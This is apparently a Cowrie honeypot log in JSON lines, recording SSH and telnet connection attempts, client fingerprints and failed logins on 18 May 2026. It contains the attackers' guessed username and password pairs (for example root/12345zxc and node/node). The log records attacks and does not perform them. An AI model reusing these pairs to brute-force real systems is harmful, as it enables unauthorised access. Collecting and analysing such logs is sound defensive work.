{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:72:d6:62:a4:c5:43:d9:24:bb:8a:24:51:99:78:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0JCNRYtU4uaF93MFyFGQgfYBgAlioLrDevfqqrAKIOykc7L8AUrrN5NRJwvdBJLkmukmsK8bsnMAreL8DUAcaU3aVaLZtUtWxpCdA698kv7cJWpdSbCMu9aMEs25hvqgiiAdJFprMjxXfIAbFneq8qlUNQrQUveXHr9pKWRlD37X1hpPJfx8G69qSPxrBsNntPcsgKHoRjkqVBfFjElUgTLwmAy/1VbBf8TmUCHBviUbGuefmOt9gdMTdeg5GOveGvaLkDZGudAGHudXrBJZb47jw5ofLid5upuo0fJZxjfPxs4oGh/bbQJy8pmygz6XmHjbISeSnCMWxWkXphb87","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:72:d6:62:a4:c5:43:d9:24:bb:8a:24:51:99:78:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.809525Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:72:d6:62:a4:c5:43:d9:24:bb:8a:24:51:99:78:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0JCNRYtU4uaF93MFyFGQgfYBgAlioLrDevfqqrAKIOykc7L8AUrrN5NRJwvdBJLkmukmsK8bsnMAreL8DUAcaU3aVaLZtUtWxpCdA698kv7cJWpdSbCMu9aMEs25hvqgiiAdJFprMjxXfIAbFneq8qlUNQrQUveXHr9pKWRlD37X1hpPJfx8G69qSPxrBsNntPcsgKHoRjkqVBfFjElUgTLwmAy/1VbBf8TmUCHBviUbGuefmOt9gdMTdeg5GOveGvaLkDZGudAGHudXrBJZb47jw5ofLid5upuo0fJZxjfPxs4oGh/bbQJy8pmygz6XmHjbISeSnCMWxWkXphb87","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.814055Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.843988Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.188594579696655,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:34.006274Z","src_ip":"152.42.224.71","session":"f6677e189807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55996,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7468876ce1","protocol":"telnet","message":"New connection: 152.42.224.71:55996 (10.17.0.5:23) [session: 5a7468876ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:53.281123Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55010,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0e104f66e7","protocol":"telnet","message":"New connection: 152.42.224.71:55010 (10.17.0.5:23) [session: 6e0e104f66e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:18.197660Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":45470,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c7c614ffcf4","protocol":"ssh","message":"New connection: 103.149.28.157:45470 (10.17.0.5:22) [session: 3c7c614ffcf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:19.357971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:19.363269Z","src_ip":"103.149.28.157","session":"3c7c614ffcf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:19.619258Z","src_ip":"103.149.28.157","session":"3c7c614ffcf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017454624176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:20.098202Z","src_ip":"152.42.224.71","session":"f63d82cbf690","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345zxc","message":"login attempt [root/12345zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:20.387305Z","src_ip":"103.149.28.157","session":"3c7c614ffcf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.175.196.206","src_port":32978,"dst_ip":"159.203.135.109","dst_port":22,"session":"930e1fd15ed4","protocol":"ssh","message":"New connection: 107.175.196.206:32978 (159.203.135.109:22) [session: 930e1fd15ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:20.392506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:21.175628Z","src_ip":"107.175.196.206","session":"930e1fd15ed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:21.179707Z","src_ip":"107.175.196.206","session":"930e1fd15ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:21.319269Z","src_ip":"107.175.196.206","session":"930e1fd15ed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:21.644352Z","src_ip":"103.149.28.157","session":"3c7c614ffcf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54384,"dst_ip":"10.17.0.5","dst_port":23,"session":"55312fed91b9","protocol":"telnet","message":"New connection: 152.42.224.71:54384 (10.17.0.5:23) [session: 55312fed91b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:29.035891Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54392,"dst_ip":"10.17.0.5","dst_port":23,"session":"10477328beed","protocol":"telnet","message":"New connection: 152.42.224.71:54392 (10.17.0.5:23) [session: 10477328beed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:30.044879Z"}
{"eventid":"cowrie.session.closed","duration":44.15302085876465,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:37.434015Z","src_ip":"152.42.224.71","session":"5a7468876ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":51108,"dst_ip":"10.17.0.5","dst_port":22,"session":"59b368a8d20f","protocol":"ssh","message":"New connection: 62.133.63.178:51108 (10.17.0.5:22) [session: 59b368a8d20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:39.800565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:39.805393Z","src_ip":"62.133.63.178","session":"59b368a8d20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:39.929728Z","src_ip":"62.133.63.178","session":"59b368a8d20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:40.302356Z","src_ip":"62.133.63.178","session":"59b368a8d20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:41.429738Z","src_ip":"62.133.63.178","session":"59b368a8d20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33002,"dst_ip":"10.17.0.5","dst_port":23,"session":"55d3ac73b622","protocol":"telnet","message":"New connection: 152.42.224.71:33002 (10.17.0.5:23) [session: 55d3ac73b622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:42.889541Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41718,"dst_ip":"10.17.0.5","dst_port":22,"session":"614200303e6e","protocol":"ssh","message":"New connection: 2.57.122.238:41718 (10.17.0.5:22) [session: 614200303e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:47.553539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:47.558110Z","src_ip":"2.57.122.238","session":"614200303e6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:47.662812Z","src_ip":"2.57.122.238","session":"614200303e6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:47.983865Z","src_ip":"2.57.122.238","session":"614200303e6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:49.093868Z","src_ip":"2.57.122.238","session":"614200303e6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38792,"dst_ip":"10.17.0.5","dst_port":23,"session":"48c50bd3df1f","protocol":"telnet","message":"New connection: 152.42.224.71:38792 (10.17.0.5:23) [session: 48c50bd3df1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:27:58.527232Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38802,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81cf4120765","protocol":"telnet","message":"New connection: 152.42.224.71:38802 (10.17.0.5:23) [session: d81cf4120765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:03.226745Z"}
{"eventid":"cowrie.session.closed","duration":55.32547926902771,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:13.523024Z","src_ip":"152.42.224.71","session":"6e0e104f66e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48856,"dst_ip":"10.17.0.5","dst_port":23,"session":"f81839618cde","protocol":"telnet","message":"New connection: 152.42.224.71:48856 (10.17.0.5:23) [session: f81839618cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:16.822364Z"}
{"eventid":"cowrie.session.closed","duration":48.85151815414429,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:18.896266Z","src_ip":"152.42.224.71","session":"10477328beed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":35488,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9ff701fdec","protocol":"telnet","message":"New connection: 176.65.139.118:35488 (159.203.135.109:23) [session: be9ff701fdec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:19.118702Z"}
{"eventid":"cowrie.session.closed","duration":4.544816255569458,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:23.663366Z","src_ip":"176.65.139.118","session":"be9ff701fdec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.54855442047119,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:35.437967Z","src_ip":"152.42.224.71","session":"55d3ac73b622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.026697158813477,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:36.848952Z","src_ip":"152.42.224.71","session":"f81839618cde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.58917474746704,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:49.815759Z","src_ip":"152.42.224.71","session":"d81cf4120765","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.45999455451965,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:28:53.987102Z","src_ip":"152.42.224.71","session":"48c50bd3df1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45500,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cc130f0fa5e","protocol":"telnet","message":"New connection: 152.42.224.71:45500 (10.17.0.5:23) [session: 2cc130f0fa5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:05.449409Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e731f07a7ebf","protocol":"telnet","message":"New connection: 152.42.224.71:47450 (10.17.0.5:23) [session: e731f07a7ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:13.676401Z"}
{"eventid":"cowrie.session.closed","duration":108.73718571662903,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:17.772939Z","src_ip":"152.42.224.71","session":"55312fed91b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.378015756607056,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:58.827229Z","src_ip":"152.42.224.71","session":"2cc130f0fa5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":40680,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fd96b56402b","protocol":"ssh","message":"New connection: 62.133.62.83:40680 (159.203.135.109:22) [session: 5fd96b56402b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:58.885194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:58.902456Z","src_ip":"62.133.62.83","session":"5fd96b56402b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:58.984476Z","src_ip":"62.133.62.83","session":"5fd96b56402b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hahaha","message":"login attempt [root/hahaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:29:59.308553Z","src_ip":"62.133.62.83","session":"5fd96b56402b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:00.399486Z","src_ip":"62.133.62.83","session":"5fd96b56402b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38708,"dst_ip":"10.17.0.5","dst_port":22,"session":"e83a64fd56d9","protocol":"ssh","message":"New connection: 2.57.122.238:38708 (10.17.0.5:22) [session: e83a64fd56d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:11.859848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:30:11.866790Z","src_ip":"2.57.122.238","session":"e83a64fd56d9","protocol":"ssh"}
